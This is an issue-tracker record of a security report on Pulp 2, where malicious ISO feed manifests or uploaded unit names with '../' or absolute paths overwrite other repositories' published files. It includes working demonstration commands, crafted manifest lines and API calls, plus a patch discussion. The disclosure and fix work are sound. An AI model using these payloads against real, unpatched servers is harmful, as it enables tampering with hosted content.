RPM Support - Issue #3841

Pulp 2: Malicious iso feed repo can write arbitrary files with user apache.

07/06/2018 10:43 PM - jortel@redhat.com

Status:	CLOSED - CURRENTRELEASE	**Start date:**	
Priority:	Normal	**Due date:**	
Assignee:	milan	**Estimated time:**	0:00 hour
Category:			
Sprint/Milestone:	2.18.0		
Severity:	3. High	**Groomed:**	No
Version:		**Sprint Candidate:**	No
Platform Release:	2.18.0	**Tags:**	Pulp 2
OS:		**Sprint:**	Sprint 45
Triaged:	Yes	**Quarter:**	

Description

Overview

I think I found a couple of security problems with iso repositories, where a malicious user or a malicious iso feed repository can write to (more or less) *any* location accessible to the 'apache' user. In the examples below I use this to overwrite published content of another repository.

I verified this behavior using Pulp 2.16.1, but this problem should be present in previous versions as well.

Here is a small demonstration using two iso repositories:

```
# pulp-admin iso repo create --repo-id alice --feed https://default-bento-centos-74.vagrantup.com/repos/iso/alice/ --relative-url alice --validate true --serve-https true --remove-missing true

# pulp-admin iso repo sync run --repo-id alice

# pulp-admin iso repo publish run --repo-id alice
```

The alice upstream repository contains a file named "alice" with content "alice\n". Everything is like it should be in the published repo:

```
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice

alice

# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice | sha256sum

f87165e305b0f7c4824d3806434f9d0909610a25641ab8773cf92a48c9d77670  -

# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/PULP_MANIFEST

alice,f87165e305b0f7c4824d3806434f9d0909610a25641ab8773cf92a48c9d77670,6
```

Now create, sync and publish the malicious repository:

```
# pulp-admin iso repo create --repo-id mallory --feed https://default-bento-centos-74.vagrantup.com/repos/iso/m1/m2/m3/m4/m5/m6/m7/m8/m9/ --relative-url mallory --validate true --serve-https true --remove-missing true
```

```
# pulp-admin iso repo sync run --repo-id mallory

# pulp-admin iso repo publish run --repo-id mallory

This publish overwrites the published content of the alice repo!

# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice

mallory
```

Even the PULP_MANIFEST has been overwritten and is consistent with the new content:

```
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice | sha256su
m

cc6e30643f964b8c9449e297cf0e76ac198b39ed52e30220b51f4212f3d70a92  -

# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/PULP_MANIFEST

alice,cc6e30643f964b8c9449e297cf0e76ac198b39ed52e30220b51f4212f3d70a92,8
```

This behavior is a result of the following problems:

Problem 1: Relative path with ".." are allowed in PULP_MANIFEST

```
Relative paths with ".." are allowed in the upstream PULP_MANIFEST and can be used to "break out"
of the working directory of the publishing task. This happens when populating the build dir with s
ymlinks (see https://github.com/pulp/pulp/blob/2-master/server/pulp/plugins/file/distributor.py#L9
0)
```

In the default configuration, the file system location (at least the directory depth) of the working directory is well-known. We can construct a relative path from the working directory to the default location of the publication directory of the "alice" repo. The PULP_MANIFEST file of the malicious feed repo looks like this:

```
../../../../../lib/pulp/published/https/isos/alice/alice,cc6e30643f964b8c9449e297cf0e76ac198b39ed5
2e30220b51f4212f3d70a92,8

../../../../../lib/pulp/published/https/isos/alice/PULP_MANIFEST,8004a87fc2db95ed069d5f9abbe7f746b
4151cb6b7398415887e5e690440dfef,73
```

To ensure that the sync finds the two files that overwrite the published "alice" repo, the directory structure of the upstream repository looks like this:

```
repos/iso/m1
\-- m2
    \-- m3
        \-- m4
            |-- lib
            |     \-- pulp
            |         \-- published
            |             \-- https
            |                 \-- isos
            |                     \-- alice
```

```
            |                           |-- alice
            |                           \-- PULP_MANIFEST
            \-- m5
                \-- m6
                    \-- m7
                        \-- m8
                            \-- m9
                                \-- PULP_MANIFEST
```

Of course, the base path of the repo (".../m9/") looks suspicious in this simple example. However, it should be possible to hide this if one is controlling the upstream HTTP server.

I have attached a tar file containing the content of both the alice and the mallory upstream repos.

Problem 2: Absolute paths are allowed in PULP_MANIFEST

The same effect can be achieved using absolute paths in PULP_MANIFEST

(because of the behavior of Python's `os.path.join` function at https://github.com/pulp/pulp/blob/2-master/server/pulp/plugins/file/distributor.py#L217). The following feed PULP_MANIFEST file causes the same files as above to be overwritten:

```
/var/lib/pulp/published/https/isos/alice/alice,cc6e30643f964b8c9449e297cf0e76ac198b39ed52e30220b51f4212f3d70a92,8

/var/lib/pulp/published/https/isos/alice/PULP_MANIFEST,8004a87fc2db95ed069d5f9abbe7f746b4151cb6b7398415887e5e690440dfef,73
```

(Of course, you will have to provide the actual content of the files listed in the manifest accordingly)

Problem 3: Content name not verified on import of artifacts

Another scenario is a Pulp API user who has sufficient rights to import artifacts into an iso repository. The user can use the same approach as above (relative paths using ".." and absolute paths)

```
# pulp-admin iso repo create --repo-id mallory --relative-url mallory --validate true --serve-https true --remove-missing true

# curl -X POST -u admin:admin --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/api/v2/content/uploads/

{"upload_id": "09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741", "_href": "/pulp/api/v2/content/uploads/09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741/"}

# curl -v -X PUT -u admin:admin -d "mallory" --noproxy \*   https://default-bento-centos-74.vagrantup.com/pulp/api/v2/content/uploads/09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741/0/

# curl -X POST -u admin:admin --noproxy \* -H "Content-Type: application/json" https://default-bento-centos-74.vagrantup.com/pulp/api/v2/repositories/mallory/actions/import_upload/ -d '{"override_config": {}, "unit_type_id": "iso", "upload_id": "09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741", "unit_key": {"checksum": "c0a497761b175379ed63397cc980546559faa84ca9cbeede773117c31508b6ac", "name": "/var/lib/pulp/published/https/isos/alice/alice", "size": 7}, "unit_metadata": {}}'

# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice

mallory
```

It is also possible to use the characters '\n' and ',' in the name of the uploaded artifact in order to inject these into the generated PULP_MANIFEST file. Although this is escaped correctly when generating the CSV file, it might make sense to disallow these characters in the name of content units (in order to prevent that simple parsers get confused).

Associated revisions

Revision 1eb0a126 - 11/07/2018 05:21 PM - milan

Confine symlink paths under the build_dir

The file distributor doesn't ensure the path of a symlink being created is contained under the build_dir. As a result, a rogue input such as an ISO Manifest that contains relative paths, could make Pulp write content to an arbitrary system folder upon publish.

This patch prevents the issue by checking that the symlink path:

- is not absolute
- is not outside of the build directory

Thanks @gmbnomis, for both identifying this issue as well as for reviewing and suggesting the fix.

Fixes: #3841 https://pulp.plan.io/issues/3841

History

#1 - 09/18/2018 06:51 PM - ttereshc

CVE/BZ https://bugzilla.redhat.com/show_bug.cgi?id=1598928

#2 - 09/18/2018 06:57 PM - ttereshc

- Private changed from Yes to No

#3 - 09/21/2018 04:37 PM - CodeHeeler

- Triaged changed from No to Yes

- Sprint set to Sprint 43

#4 - 09/24/2018 01:16 PM - milan

- Status changed from NEW to ASSIGNED

- Assignee set to milan

#5 - 09/24/2018 02:39 PM - milan

I guess one option might be to sanitize the manifest path before calling the join function:

```
manifest_path = '/../../var/lib/pulp/../pulp/alice'
real_manifest_path = os.path.realpath(manifest_path)
cwd = os.path.realpath(os.path.curdir)
common_prefix = os.path.commonprefix([cwd, real_manifest_path])
if common_prefix != cwd:
    raise Exception('Real manifest path outside of the current working directory %s' % real_manifest_path)
symlink_filename = os.path.join(cwd, real_manifest_path.lstrip(common_prefix))
```

I think this would allow for manifest paths to include some relative parts while making sure those won't escape out of current working directory of the worker performing a sync.
Another option might be to always plant the manifest path under the current working directory:

```
# any two real paths always share at least the root element
# so this would place all content under cwd like: `/home/milan/var/lib/pulp/alice`
symlink_filename = os.path.join(cwd, real_manifest_path.lstrip(common_prefix))
```

#6 - 09/24/2018 06:52 PM - gmbnomis

(I am the submitter of this security issue)

I think Pulp should be as conservative as possible:

1. Disallow any absolute path in upstream PULP_MANIFEST or on import. This has never worked (except in the maliciously constructed examples above). There is no point in supporting that use case.

2. Disallow relative path containing "." and "..": This would be the simplest solution. I don't see a use case were one would like such a thing in a published repo.

If 2 is not possible, because you fear that this breaks current use cases of Pulp users:

I think using "realpath" is not a good idea, since it traverses the file system and resolves symlinks (which may be outside of cwd). It might be possible to force Pulp into evaluating symlinks supplied by a malicious user or to detect the presence of paths on the system.

If relative paths containing "." and ".." are really necessary, I think we should use string based operations that do not operate on real files:

"some/file/../../../some" is invalid because there is a point in the path that would be "above" cwd.

"some/file/../different_location" must be normalized to "some/different_location" and this is the path pulp must use/store. IMHO, Pulp should never write paths with ".." or "." into PULP_MANIFEST files.

#7 - 09/24/2018 11:05 PM - milan

gmbnomis wrote:

> (I am the submitter of this security issue)
>
> I think Pulp should be as conservative as possible:
>
> 1. Disallow any absolute path in upstream PULP_MANIFEST or on import. This has never worked (except in the maliciously constructed examples above). There is no point in supporting that use case.
>
> 2. Disallow relative path containing "." and "..": This would be the simplest solution. I don't see a use case were one would like such a thing in a published repo.
>
> If 2 is not possible, because you fear that this breaks current use cases of Pulp users:
>
> I think using "realpath" is not a good idea, since it traverses the file system and resolves symlinks (which may be outside of cwd). It might be possible to force Pulp into evaluating symlinks supplied by a malicious user or to detect the presence of paths on the system.

didn't cross my mind, thanks!

> If relative paths containing "." and ".." are really necessary, I think we should use string based operations that do not operate on real files:
>
> "some/file/../../../some" is invalid because there is a point in the path that would be "above" cwd.
>
> "some/file/../different_location" must be normalized to "some/different_location" and this is the path pulp must use/store. IMHO, Pulp should never write paths with ".." or "." into PULP_MANIFEST files.

I'm wondering though how to address this in a bugfix: would we simply fail the import of a PULP_MANIFEST that contained a path such as those above?

#8 - 09/26/2018 11:46 AM - milan

- Status changed from ASSIGNED to POST

So far I've put up a PR implementing the silent confining of the symlink path under the build_dir: https://github.com/pulp/pulp/pull/3670 which I think could be used as a stand-alone, backwards-compatible fix (at least as far as I can tell).

I guess I'd follow up with a PR against the ISO plugin on pulp_rpm, enforcing only basename of an iso to be always used, but this would be backwards-incompatible.

Another approach might be to implement the option 1 from the #note_5 in pulp_rpm as a precaution during the import

Thanks!
milan

#9 - 10/05/2018 08:42 AM - ttereshc

- Sprint/Milestone set to 2.18.0

#10 - 10/18/2018 09:13 PM - amacdona@redhat.com

- Sprint changed from Sprint 43 to Sprint 44

#11 - 10/24/2018 09:28 AM - rschiron

> I think using "realpath" is not a good idea, since it traverses the file system and resolves symlinks (which may be outside of cwd). It might be possible to force Pulp into evaluating symlinks supplied by a malicious user or to detect the presence of paths on the system.

What is the problem in using realpath? AFAIK it is a standard solution to fix directory traversal issues, suggested also in the OpenStack project (https://security.openstack.org/guidelines/dg_using-file-paths.html). Other solutions seem a bit hand-made to me. Even if a symlink goes out of the

cwd, that means the path should be rejected. Moreover, from the attacker point of view there's no difference in a path that exists but is outside of the target directory and a path that does not exist and is still outside of the target directory. Both of them would be rejected with the same exception.

The only issue I could think of is if the attacker is able to create a directory (to bypass the "is_valid" check) and then concurrently switch it to a symlink that points outside, so that when the path is actually used to write the file, it would overwrite files outside the intended dir.

Am I missing anything?

#12 - 10/26/2018 10:39 PM - gmbnomis

rschiron wrote:

> I think using "realpath" is not a good idea, since it traverses the file system and resolves symlinks (which may be outside of cwd). It might be possible to force Pulp into evaluating symlinks supplied by a malicious user or to detect the presence of paths on the system.

What is the problem in using realpath? AFAIK it is a standard solution to fix directory traversal issues, suggested also in the OpenStack project (https://security.openstack.org/guidelines/dg_using-file-paths.html). Other solutions seem a bit hand-made to me.

The situation here is simpler than in the OpenStack example: The basic problem is that we have a root path and only *relative* paths of *files* relative to that root. Thus, there is simply no need to use realpath. Using e.g. normpath and abspath (which are purely string based) is enough. And that's also what the OpenStack example seems to imply, if one does not need to follow symlinks, just use `os.path.abspath(path).startswith(basedir)`

Btw. the Openstack example code is not fully correct: (one should be cautious using startswith with paths; seems a bit hand-made to me ;-))

```
$ pwd
/home/me/tmp/real
$ python is_safe.py ../real/is_safe.py
safe: ../real/is_safe.py
$ python is_safe.py ../real2/is_safe.py
safe: ../real2/is_safe.py
```

(This may allow nice attacks if you can control creation of directories and just choose them to be a prefix of what you want to see. For example, in a structure similar to home directories)

> The only issue I could think of is if the attacker is able to create a directory (to bypass the "is_valid" check) and then concurrently switch it to a symlink that points outside, so that when the path is actually used to write the file, it would overwrite files outside the intended dir.

Yes, that's possible, but probably hard to exploit. But the underlying thought is much simpler: There is no need to let user supplied paths poke around the file system in this case (because the user cannot provide absolute paths anyway and anything above the root path of the repository should be completely opaque to the user). Thus, just don't do it.

#13 - 11/06/2018 07:52 PM - rchan

- Sprint changed from Sprint 44 to Sprint 45

#14 - 11/07/2018 05:50 PM - milan

- Status changed from POST to MODIFIED

Applied in changeset pulp:pulp|1eb0a126b8f5357b84aeb87b8809d240fd9342d8.

#15 - 11/19/2018 10:50 AM - ttereshc

- Platform Release set to 2.18.0

#16 - 11/20/2018 08:20 PM - ttereshc

- Status changed from MODIFIED to 5

#17 - 12/04/2018 11:10 PM - ttereshc

- Status changed from 5 to CLOSED - CURRENTRELEASE

#20 - 04/15/2019 10:10 PM - bmbouter

- Tags Pulp 2 added